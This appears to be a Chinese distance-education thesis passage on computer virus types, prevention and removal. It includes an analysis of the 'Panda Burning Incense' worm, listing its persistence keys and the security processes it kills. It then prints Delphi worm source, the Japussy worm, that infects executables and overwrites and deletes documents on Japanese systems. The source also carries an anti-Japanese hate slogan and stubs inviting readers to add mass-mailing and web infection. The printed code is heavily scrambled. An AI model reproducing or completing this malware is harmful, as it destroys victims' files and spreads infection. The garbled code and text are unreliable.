5、传统档案型计算机病毒

传统档案型计算机病毒最大的特征,便是将计算机病毒本身植入档案,使档案膨胀,以达到散播传染的目的。代表有“13 Firday”。

6、千面人计算机病毒

千面人计算机病毒是指具有自我编码能力的计算机病毒,“1701 下雨”等,为这种类型主要代表,此种计算机病毒编码的目的,是使其感染的每一个档案,看起来皆不一样,干扰杀毒软件的侦测,不过千面人计算机病毒仍会留下的这个“小辫子”,将其绳之以法。

7、突变引擎病毒

有鉴于前面人计算机病毒一个接一个被截获,边有人编写出一种突变式计算机病毒,使原本千面人计算机病毒无法解决的程序开头相同的问题得到克服,并编写成OBJ 副程序,供他人植草此类计算机病毒,即 Mctation engine。尽管如此,这类计算机病毒仅干扰了扫毒式软件,对其他方式的防毒软件并没有太大的影响。

8、隐形档案型计算机病毒

此类病毒可以避开去多防毒软件,因为隐形计算机病毒能直接植入DOS 系统的作业环境中,当外部程序呼叫DOS 中断服务时,便同时执行到计算机病毒本身,使得计算机病毒能从容地将受其感染的档案,粉饰成正常无毒的样子。此类计算机病毒有“4096” 等。

9、终结型计算机病毒

终结性计算机病毒能追踪磁盘操作终端的原始进入点,当计算机病毒取得磁盘原始中断时,便可任意再磁盘上修改资料或普哦坏资料,而不会惊动防毒程序,这就是说,装有防毒程序和美妆防毒程序的情况是一样的危险。这类计算机病毒有的采用INT 1单步执行的方式,逐步追踪磁盘中断的过程,找出BIOS 磁盘中断的部分,供计算机病毒内部使用;有的采用死机的方式,记录几个BIOS 版本的磁盘中断原始进入点,当计算机病毒遭到熟悉的BIOS 版本,便可直接呼叫磁盘中断,对磁盘予取予求;有的则分析磁盘中断的程序片段,找出BIOS 中的相似部分便可直接呼叫磁盘中断。其代表有“Hammer 6”等。

10、Word 巨集计算机病毒

Word 巨集计算机病毒可以说时目前最新的计算机病毒种类了,它是文件型计算机病毒,异于以往以感染磁盘区或可执行的档案为主的计算机病毒,此类病毒时利用Word 提供的巨集功能来感染文件。目前已经在Internet 及BBS 网络中发现不少Word 巨集计算机病毒,而且此类计算机病毒是用类似Basic 程序编写出来的,易学,其反战速度一定很快。

2.3计算机病毒防范和清除的基本原则和技术

2.3.1计算机病毒防范的概念和原则

计算机病毒防范,是指通过建立合理的计算机病毒防范体系和制度,即使发现计算机病毒入侵,并采取有效的手段阻止计算机病毒的传播和破坏,回复受影响的计算机系统和数据。

原则以防御计算机病毒为主动,主要表现在检测行为的动态性和防范方法的广谱性。

2.3.2计算机病毒防范基本技术

计算机病毒预防是在计算机病毒尚未入侵或刚刚入侵,就拦截、阻击计算机病毒的入侵或立即警报。目前在预防计算机病毒工具中采用的主要技术如下: 2.3.3清除计算机病毒的基本方法

1.简单的工具治疗

简单工具治疗是指使用Debug 等简单的工具,借助检测者对某种计算机病毒的具体知识,从感染计算机病毒的软件中摘除计算机代码。但是,这种方法同样对检测者自身的专业素质要求较高,而且治疗效率也较低。

2. 专用工具治疗

使用专用工具治疗被感染的程序时通常使用的治疗方法。专用计算机治疗工具,根据对计算机病毒特征的记录,自动清除感染程序中的计算机病毒代码,使之得以恢复。使用专用工具治疗计算机病毒时,治疗操作简单、高效。从探索与计算机病毒对刚的全过程来看,专用工具的开发商也是先从使用简单工具

进行治疗开始,当治疗获得成功后,再研制相应的软件产品,使计算机自动地完成全部治疗操作。

2.4 典型计算机病毒的原理、防范和清除

2.4.1引导区计算机病毒

系统引导区时在系统引导的时候,进入到系统中,获得对系统的控制权,在完成其自身的安装后才去引导系统的。称其为引导区计算机病毒时因为这类计算机病毒一般是都侵占系统硬盘的主引导扇区I/O分区的引导扇区,对于软盘则侵占了软盘的引导扇区。

它会感染在该系统中进行读写操作的所有软盘,然后再由这些软盘以复制的方式和引导进入到其他计算机系统,感染其他计算机的操作系统。

如何检测呢?

1. 查看系统内存的总量与正常情况进行比较

2. 检查系统内存高端的内容

3. 检查系统的INT 13H中断向量

4. 检查硬盘的主引导扇区、DOS 分区引导扇区以及软盘的引导扇区

清除:

用原来正常的分区表信息或引导扇区信息,覆盖掉计算机病毒程序。此时,如果用户事先提取并保存了自己硬盘中分区表的信息和DOS 分区引导扇区信息,那么,恢复工作变得非常简单。可以直接用Debug 将这两种引导扇区的内容分别调入内存,然后分别回它的原来位置,这样就消除了计算机病毒。

2.4.2文件型计算机病毒

文件型计算机病毒程序都是依附在系统可执行文件或覆盖文件上,当文件装入系统执行的时候,引导计算机病毒程序也进入到系统中。只有极少计算机病毒程序感染数据文件。

此类病毒感染对象大多是系统的可执行文件,也有一些还要对覆盖文件进行传染,而对数据进行传染的则少见。

清除:

1. 确定计算机病毒程序的位置,是驻留在文件尾部还是在文件首部。

2. 找到计算机病毒程序的首部位置(对应于在文件尾部驻留方式),或者尾

部位置(对应于在文件首部驻留方式)。

3. 恢复原文件头部的参数。

4. 修改文件长度,将源文件写回。

2.4.3脚本型计算机病毒

主要采用脚本语言设计的病毒称其为脚本病毒。实际上在早期的系统中,计算机病毒就已经开始利用脚本进行传播和破坏,不过专门的脚本病毒并不常见。但是在脚本应用无所不在的今天,脚本病毒却成为危害最大,最为广泛的病毒,特别是当他和一些传统的恶性病毒相结合时,其危害就更为严重了。 其主要有两种类型,纯脚本型,混合型。

它的特点:

● 编写简单

● 破坏力大

● 感染力强

● 传播范围大(多通过E-mail ,局域网共享,感染网页文件的方式传播) ● 计算机病毒源码容易被获取,变种多

● 欺骗性强

● 使得计算机病毒生产机事先起来非常容易

清除:

● 禁用文件系统对象FileSystemObject

● 卸载Windows Scripting Host

● 删除vbs ,vbe ,js ,jse 文件后缀与应用程序映射

● 在Windows 目录中,找到WScript.exe ,更改名称或者删除

● 要彻底防止vbs 网络蠕虫病毒,还需要设置一下浏览器

● 禁止OE 的自动收发电子邮件功能

● 显示所有文件类型的扩展名称

● 将系统的网络连接的安全级别设置至少为“中等”

2.4.4特洛伊木马计算机病毒

特洛伊木马也叫黑客程序或后门病毒,是指吟唱在正常程序中的一段具有特殊功能的程序,其隐蔽性及好,不易察觉,是一种极为危险的网络攻击手段。 其第一代:伪装性病毒,第二代:AIDS 型木马,第三代:网络传播性木马 如何检查?

● 稽查注册表

● 检查你的系统配置文件

● 清除:

● 备份重要数据

● 立即关闭身背电源

● 备份木马入侵现场

● 修复木马危害

2.4.5 蠕虫计算机病毒

蠕虫是一种通过网络传播的恶性计算机病毒,它具有计算机病毒的一些共性,如传播性、隐蔽性、破坏性等。同时自己有自己一些特征,如利用文件寄生,对网络造成拒绝服务以及和黑客技术相结合等。

简单点说,蠕虫就是使用危害的代码来攻击网络上的受害主机,并在受害主机上自我复制,再攻击其他的受害主机的计算机病毒。

其特征:

● 自我繁殖

● 利用软件漏洞

● 造成网络拥堵

● 消耗系统资源

● 留下安全隐患

清除:

● 与防火墙互动

● 交换机联动

● 通知HIDS (基于主机的入侵检测)

● 报警

2.5 “熊猫烧香”病毒剖析

“熊猫烧香”病毒感染机理:“熊猫烧香”,是一个感染型的蠕虫病毒,它能感染系统中exe ,com ,pif ,src ,html ,asp 等文件,它还能中止大量的反病毒软件进程并且会删除扩展名为gho 的文件,该文件是一系统备份工具GHOST 的备份文件,使用户的系统备份文件丢失。被感染的用户系统中所有.exe 可执行文件全部被改成熊猫举着三根香的模样。

1:拷贝文件病毒运行后, 会把自己拷贝到C:\WINDOWS\System32\Drivers\spoclsv.exe

2:添加注册表自启动病毒会添加自启动项HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run svcshare -> C:\WINDOWS\System32\Drivers\spoclsv.exe

3:病毒行为

a:每隔1秒寻找桌面窗口, 并关闭窗口标题中含有以下字符的程序:

QQKav 、QQAV 、防火墙、进程、VirusScan 、网镖、杀毒、毒霸、瑞星、江民、黄山IE 、超级兔子、优化大师、木马克星、木马清道夫、QQ 病毒、注册表编辑器、系统配置实用程序、卡巴斯基反病毒、Symantec AntiVirus、Duba 、esteem proces 、绿鹰PC 、密码防盗、噬菌体、木马辅助查找器、System Safety Monitor 、Wrapped gift Killer 、Winsock Expert 、游戏木马检测大师、msctls_statusbar32、pjf(ustc)、IceSword ,并使用的键盘映射的方法关闭安全软件IceSword 。添加注册表使自己自启动HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run

svcshare -> C:\WINDOWS\System32\Drivers\spoclsv.exe并中止系统中以下的进程:

Mcshield.exe 、VsTskMgr.exe 、naPrdMgr.exe 、UpdaterUI.exe 、TBMon.exe 、scan32.exe 、Ravmond.exe 、CCenter.exe 、RavTask.exe 、Rav.exe 、Ravmon.exe 、RavmonD.exe 、RavStub.exe 、KVXP.kxp 、kvMonXP.kxp 、KVCenter.kxp 、KVSrvXP.exe 、KRegEx.exe 、UIHost.exe 、TrojDie.kxp 、FrogAgent.exe 、Logo1_.exe、Logo_1.exe、Rundl132.exe 。

b:每隔18秒点击病毒作者指定的网页, 并用命令行检查系统中是否存在共

享,共存在的话就运行net share命令关闭admin$共享。

c:每隔10秒下载病毒作者指定的文件, 并用命令行检查系统中是否存在共享,共存在的话就运行net share命令关闭admin$共享。

d:每隔6秒删除安全软件在注册表中的键值。

并修改以下值不显示隐藏文件 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL CheckedValue -> 0x00

删除以下服务: navapsvc 、wscsvc 、KPfwSvc 、SNDSrvc 、ccProxy 、ccEvtMgr 、ccSetMgr 、SPBBCSvc 、Symantec Core LC、NPFMntor MskService、FireSvc 。 e:感染文件

病毒会感染扩展名为exe,pif,com,src 的文件, 把自己附加到文件的头部,并在扩展名为htm,html, asp,php,jsp,aspx 的文件中添加一网址,用户一但打开了该文件,IE 就会不断的在后台点击写入的网址,达到增加点击量的目的, 但病毒不会感染以下文件夹名中的文件:

WINDOW 、Winnt 、System Volume Information、Recycled 、Windows NT、WindowsUpdate 、Windows Media Player 、Outlook Express 、Internet Explorer 、NetMeeting 、Common Files 、ComPlus Applications 、Messenger 、InstallShield Installation Information 、MSN 、Microsoft Frontpage 、Movie Maker 、MSN Gamin Zone 。

g:删除文件

病毒会删除扩展名为gho 的文件,该文件是一系统备份工具GHOST 的备份文件使用户的系统备份文件丢失。

“熊猫烧香”病毒核心源码

用 Delphi 写

program Japussy;

uses

Windows, SysUtils, Classes, Graphics, ShellAPI{, Registry};

const

HeaderSize = 82432; //病毒体的大小

IconOffset = $12EB8; //PE文件主图标的偏移量

//在我的Delphi5 SP1上面编译得到的大小,其它版本的Delphi 可能不同

//查找2800000020的十六进制字符串可以找到主图标的偏移量

{

HeaderSize = 38912; //Upx压缩过病毒体的大小 IconOffset = $92BC; //Upx压缩过PE 文件主图标的偏移量

//Upx 1.24W 用法: upx -9 --8086 Japussy.exe

}

IconSize = $2E8; //PE文件主图标的大小--744字节

IconTail = IconOffset + IconSize; //PE文件主图标的尾部

ID = $44444444; //感染标记

//垃圾码,以备写入

Catchword = 'If a race need to be killed out, it must be Yamato. '

+

'If a country need to be destroyed, it must be Japan! ' +

'*** W32.Japussy.Worm.A ***';

{$R *.RES}

Function

RegisterServiceProcess()function

RegisterServiceProcess(dwProcessID, dwType: Integer):

Integer;

stdcall; external 'Kernel32.dll'; //函数声明

var

TmpFile: string;

Si: STARTUPINFO;

Pi: PROCESS_INFORMATION;

IsJap: Boolean = False; //

{

Function IsWin9x()function IsWin9x: Boolean;

var

Ver: TOSVersionInfo;

begin

Result := False;

Ver.dwOSVersionInfoSize := SizeOf(TOSVersionInfo); if not GetVersionEx(Ver) then

Exit;

if

//Win9x

Result := True;

end;

{

procedure

TStream;

dStartPos: Integer; Count: Integer);

var

日文操作系统标记 判断是否为Win9x } (Ver.dwPlatformID = VER_PLATFORM_WIN32_WINDOWS) then 在流之间复制 } CopyStream(Src: TStream; sStartPos: Integer; Dst:

sCurPos, dCurPos: Integer;

begin

sCurPos := Src.Position;

dCurPos := Dst.Position;

Src.Seek(sStartPos, 0);

Dst.Seek(dStartPos, 0);

Dst.CopyFrom(Src, Count);

Src.Seek(sCurPos, 0);

Dst.Seek(dCurPos, 0);

end;

{ 将宿主文件从已感染的PE 文件中分离出来,以备使用 } procedure ExtractFile(FileName: string);

var

sStream, dStream: TFileStream;

begin

try

sStream := TFileStream.Create(ParamStr(0), fmOpenRead or

fmShareDenyNone);

try

dStream := TFileStream.Create(FileName, fmCreate); try

sStream.Seek(HeaderSize, 0); //跳过头部的病毒部分 dStream.CopyFrom(sStream,

HeaderSize);

finally

sStream.Size -

dStream.Free;

end;

finally

sStream.Free;

end;

except

end;

end;

{ 填充STARTUPINFO 结构 }

procedure FillStartupInfo(var Si: STARTUPINFO;

Word);

begin

Si.cb := SizeOf(Si);

Si.lpReserved := nil;

Si.lpDesktop := nil;

Si.lpTitle := nil;

Si.dwFlags := STARTF_USESHOWWINDOW;

Si.wShowWindow := State;

Si.cbReserved2 := 0;

Si.lpReserved2 := nil;

end;

{ 发带毒邮件 }

procedure SendMail;

begin

//哪位仁兄愿意完成之?

end;

State:

{ 感染PE 文件 }

procedure InfectOneFile(FileName: string);

var

HdrStream, SrcStream: TFileStream;

IcoStream, DstStream: TMemoryStream;

iID: LongInt;

aIcon: TIcon;

Infected, IsPE: Boolean;

i: Integer;

Buf: array[0..1] of Char;

begin

try //出错则文件正在被使用,退出

if CompareText(FileName, 'JAPUSSY.EXE') = 0 then //是自己则不感染

Exit;

Infected := False;

IsPE := False;

SrcStream

fmOpenRead);

try

for i := 0 to $108 do //检查PE 文件头

begin

SrcStream.Seek(i, soFromBeginning);

SrcStream.Read(Buf, 2);

if (Buf[0] = #80) and (Buf[1] = #69) then //PE标记

:= TFileStream.Create(FileName,

IsPE := True; //是PE 文件

Break;

end;

end;

SrcStream.Seek(-4, soFromEnd); //检查感染标记 SrcStream.Read(iID, 4);

if (iID = ID) or (SrcStream.Size

Infected := True;

finally

SrcStream.Free;

end;

if Infected or (not IsPE) then //如果感染过了或不是PE 文件则退出

Exit;

IcoStream := TMemoryStream.Create;

DstStream := TMemoryStream.Create;

try

aIcon := TIcon.Create;

try

//得到被感染文件的主图标(744字节) ,存入流 aIcon.ReleaseHandle;

aIcon.Handle

PChar(FileName), 0);

aIcon.SaveToStream(IcoStream);

:= ExtractIcon(HInstance,

aIcon.Free;

end;

SrcStream

fmOpenRead);

//头文件

HdrStream

fmOpenRead or

fmShareDenyNone);

try

//写入病毒体主图标之前的数据

CopyStream(HdrStream,

IconOffset);

//写入目前程序的主图标

CopyStream(IcoStream, 22, DstStream, IconOffset, IconSize);

//写入病毒体主图标到病毒体尾部之间的数据

CopyStream(HdrStream,

IconTail,

HeaderSize - IconTail);

//写入宿主程序

CopyStream(SrcStream, 0, DstStream, HeaderSize, SrcStream.Size);

//写入已感染的标记

DstStream.Seek(0, 2);

iID := $44444444;

DstStream.Write(iID, 4);

:= TFileStream.Create(FileName, := TFileStream.Create(ParamStr(0), 0, DstStream, 0, IconTail, DstStream,

HdrStream.Free;

end;

finally

SrcStream.Free;

IcoStream.Free;

DstStream.SaveToFile(FileName); //替换宿主文件 DstStream.Free;

end;

except;

end;

end;

{ 将目标文件写入垃圾码后删除 }

procedure SmashFile(FileName: string);

var

FileHandle: Integer;

i, Size, Mass, Max, Len: Integer;

begin

try

SetFileAttributes(PChar(FileName), 0); //去掉只读属性 FileHandle := FileOpen(FileName, fmOpenWrite); //打开文件

try

Size := GetFileSize(FileHandle, nil); //文件大小 i := 0;

Randomize;

Max := Random(15); //写入垃圾码的随机次数 if Max

Mass := Size div Max; //每个间隔块的大小 Len := Length(Catchword); while i

FileSeek(FileHandle, i * Mass, 0); //定位 //写入垃圾码,将文件彻底破坏掉

FileWrite(FileHandle, Catchword, Len); Inc(i); end; finally

FileClose(FileHandle); //关闭文件 end;

DeleteFile(PChar(FileName)); //删除之 except end; end;

{ 获得可写的驱动器列表 }

Function GetDrives()function GetDrives: string; var

DiskType: Word; D: Char; Str: string; i: Integer;

begin

for i := 0 to 25 do //遍历26个字母 begin

D := Chr(i + 65); Str := D + ':';

DiskType := GetDriveType(PChar(Str)); //得到本地磁盘和网络盘

if (DiskType = DRIVE_FIXED) or (DiskType = DRIVE_REMOTE) then

Result := Result + D; end; end;

{ 遍历目录,感染和摧毁文件 }

procedure LoopFiles(Path, Mask: string); var

i, Count: Integer; Fn, Ext: string; SubDir: TStrings; SearchRec: TSearchRec; Msg: TMsg;

Function IsValidDir()function IsValidDir(SearchRec: TSearchRec): Integer; begin

if (SearchRec.Attr 16) and (SearchRec.Name '.') and

(SearchRec.Name '..') then

Result := 0 //不是目录

else if (SearchRec.Attr = 16) and (SearchRec.Name '.') and

(SearchRec.Name '..') then Result := 1 //不是根目录 else Result := 2; //是根目录 end; begin

if (FindFirst(Path + Mask, faAnyFile, SearchRec) = 0) then begin repeat

PeekMessage(Msg, 0, 0, 0, PM_REMOVE); //调整消息队列,避免引起怀疑

if IsValidDir(SearchRec) = 0 then begin

Fn := Path + SearchRec.Name;

Ext := UpperCase(ExtractFileExt(Fn)); if (Ext = '.EXE') or (Ext = '.SCR') then begin

InfectOneFile(Fn); //感染可执行文件 end

else if (Ext = '.HTM') or (Ext = '.HTML') or (Ext = '.ASP') then

begin

//感染HTML 和ASP 文件,将Base64编码后的病毒写入

//感染浏览此网页的所有用户 //哪位大兄弟愿意完成之? end

else if Ext = '.WAB' then //Outlook地址簿文件 begin

// end

else if Ext = '.ADC' then //Foxmail文件

begin

// end

else if Ext = 'IND' then //Foxmail begin

// end else begin

if IsJap then // begin

if (Ext = '.DOC') or (Ext = '.XLS') or (Ext = '.MDB') or

(Ext or

(Ext or

(Ext 获取Outlook 邮件地址 地址自动完成获取Foxmail 邮件地址 地址簿文件 获取Foxmail 邮件地址 是倭文操作系统 = '.MP3') or (Ext = '.RM') or (Ext = '.RA') = '.WMA') or (Ext = '.ZIP') or (Ext = '.RAR') = '.MPEG') or (Ext = '.ASF') or (Ext = '.JPG')

or

(Ext = '.JPEG') or (Ext = '.GIF') or (Ext = '.SWF') or

(Ext = '.PDF') or (Ext = '.CHM') or (Ext = '.AVI') then

SmashFile(Fn); //摧毁文件 end; end; end;

//过高引起怀疑 Sleep(200);

until (FindNext(SearchRec) 0); end;

FindClose(SearchRec);

SubDir := TStringList.Create;

if then

begin repeat

if IsValidDir(SearchRec) = 1 then SubDir.Add(SearchRec.Name); until (FindNext(SearchRec) 0); end;

FindClose(SearchRec); Count := SubDir.Count - 1; for i := 0 to Count do

感染或删除一个文件后睡眠200毫秒,避免CPU 占用率(FindFirst(Path + '*.*', faDirectory, SearchRec) = 0)

LoopFiles(Path + SubDir.Strings[i] + '', Mask); FreeAndNil(SubDir); end;

{ 遍历磁盘上所有的文件 } procedure InfectFiles; var

DriverList: string; i, Len: Integer; begin

if GetACP = 932 then // IsJap := True; // DriverList := GetDrives; // Len := Length(DriverList); while True do // begin

for i := Len downto 1 do // LoopFiles(DriverList[i] + ':', '*.*'); // SendMail; // Sleep(1000 * 60 * 5); // end; end;

{ begin

if IsWin9x then // RegisterServiceProcess(GetCurrentProcessID, 为服务进程日文操作系统 去死吧!

得到可写的磁盘列表 死循环 遍历每个磁盘驱动器 感染之 发带毒邮件

睡眠5分钟 主程序开始 } 是Win9x

1) //注册

else //WinNT begin

//远程线程映射到Explorer 进程 //哪位兄台愿意完成之? end;

//如果是原始病毒体自己 if 'Japussy.exe') = 0 then

InfectFiles //感染和发邮件

else //已寄生于宿主程序上了,开始工作 begin

TmpFile := ParamStr(0); //创建临时文件 Delete(TmpFile, Length(TmpFile) - 4, 4);

TmpFile := TmpFile + #32 + '.exe'; //真正的宿主文件,多一个空格

ExtractFile(TmpFile); //分离之 FillStartupInfo(Si, SW_SHOWDEFAULT);

CreateProcess(PChar(TmpFile), PChar(TmpFile), nil, nil, True,

0, nil, '.', Si, Pi); //创建新进程运行之 InfectFiles; //感染和发邮件 end; End.

CompareText(ExtractFileName(ParamStr(0)),

2.6 计算机主要检测技术和特点(简介)

1. 外观检测法

2.系统数据对比法 3.病毒签名检测法 4.特征代码法 5.检查常规内存数 6.校验和法 7.行为监测法 8.软件模拟法

9.启发式代码扫描技术 10.主动内核技术 11.病毒分析技术

12. 感染是研法

3 参考文献

[1]卓新建,郑康锋,辛阳. 计算机病毒原理与防治[M].北京邮电大学出版社,2007,(8):第二版.

[2]郝文化. 防黑反毒技术指南[M].机械工业出版社,2004,(1):第一版. [3]吴万钊,吴万铎. 计算机病毒分析与防治大全[M].学苑出版社,1993,(10).

[4]张仁斌,李钢,侯整风. 计算机病毒与反病毒技术[M].清华大学出版社,2006(6).

陕西师范大学网络教育学院 毕业论文写作(设计)日志

所属学习中心:柞水县电化教育中心


相关内容

  • 企业税收风险防范与风险控制专题
  • 第一部分:企业税务风险概述 课程目标-了解税收风险原因 课程收益-提高控制税收风险意识 此部分从分析税收风险产生的原因入手,以我国税收与法制的沿革为平台,分析我国建国以来的税收收入规则,使学员了解税收风险是不可避免的,应予以高度重视. (一)企业涉税风险产生的原因 (1)纳税人来源于税收立法层面的税 ...

  • 第21章职业道德基本原则和概念框架
  • 第二十一章 职业道德基本原则和概念框架(单元测试) 一.单项选择题 1.下列各项中,不违背职业道德基本原则的是( ). A.在报刊上刊登迁址公告 B.项目合伙人在被审计单位拥有1000股股票 C.担任被审计单位的辩护人 D.审计收费取决于被审计单位是否能够上市 2.下列各项中,属于因为自我评价导致对 ...

  • 国际金融学习题(人大陈雨露主编)第三章
  • 三.判断对错 练习说明:判断下列表述是否正确,. 1.外汇衍生工具是为了防范和管理风险而产生的金融创新,因此在有了外汇衍生工具之后,国际外汇市场的汇率风险大大减小. 答案与解析:选错.外汇衍生工具本身具有高风险性和高投机性,它既可规避风险,也可能因此产生更大的风险. 2.衍生金融工具的复杂化可能给交 ...

  • 造价师安装计量参考题6
  • 第六章 试题由单选和多选组成.错选,本题不得分:少选,所选的每个选项得0.5分. 1. 适用于需频繁操作及有易燃易爆危险的场所,要求加工精度高,对其密封性能要求更严的高压断路器是( ). A. 多油断路器 B. 少油断路器 C. 高压真空断路器 D. 六氟化硫断路器 答案:D 解题要点:这道题的考点 ...

  • 会计电算化模拟试题一
  • 会计电算化模拟试题一 一.单项选择题 1.会计核算软件各功能模块是通过( )以记账凭证为接口连接起来的. A.报表生成与汇总模块B.工资核算模块C.账务处理模块D.成本核算模块 答案:C解析:账务处理模块是会计核算软件的核心模块,该模块以记账凭证为接口与其他功能模块有机地连接在一起,构成完整的会计核 ...

  • 网络攻击技术原理与防范措施
  • 网络攻击技术原理与防范措施 班级:网络0902 学号:[1**********]4 姓名:刘建波 随着网络技术和Internet 的飞速发展,网络环境变得越来越复杂,网络安全问题显得越来越重要,网络易受如木马.恶意代码.蠕虫.DDOS 攻击等攻击, 黑客攻击事件数量的不断上升,如2011年6月发生的 ...

  • 解析工程经济管理的风险及对策
  • 摘要:作为工程学与经济学的交叉学科,工程经济学以研究工程项目实践活动的经济效益为主.工程经济管理风险贯穿于工程项目实施的全过程,如何防范工程经济管理风险是摆在施工企业面前的重要课题.本文在分析工程经济管理风险类型的基础上,提出了防范工程经济管理风险的对策,以期为施工企业提供参考. 关键词:工程经济: ...

  • 2016会计继续教育[会计档案管理办法2015]解读题库答案
  • 第1部分判断题 -------------------------------------------------------------------------------- 题号:Qhx015710 所属课程:<会计档案管理办法2015>解读 1. 2015版<会计档案管理办法 ...

  • 网络安全威胁种类及防范措施探究
  • 摘要:随着网络在人们生活中的日益普及,其安全问题也引起了更多人的关注.网络风险无处不在,由于病毒的攻击或者是黑客的破解为政府或者是企业带来重大损失的事件屡见不鲜,它们成了网络安全最大的隐患.因此,对黑客的预防已经成了目前网络风险预防过程中关注的重心和研究的重点,怎么样才能提升网络的安全性,增强网络对 ...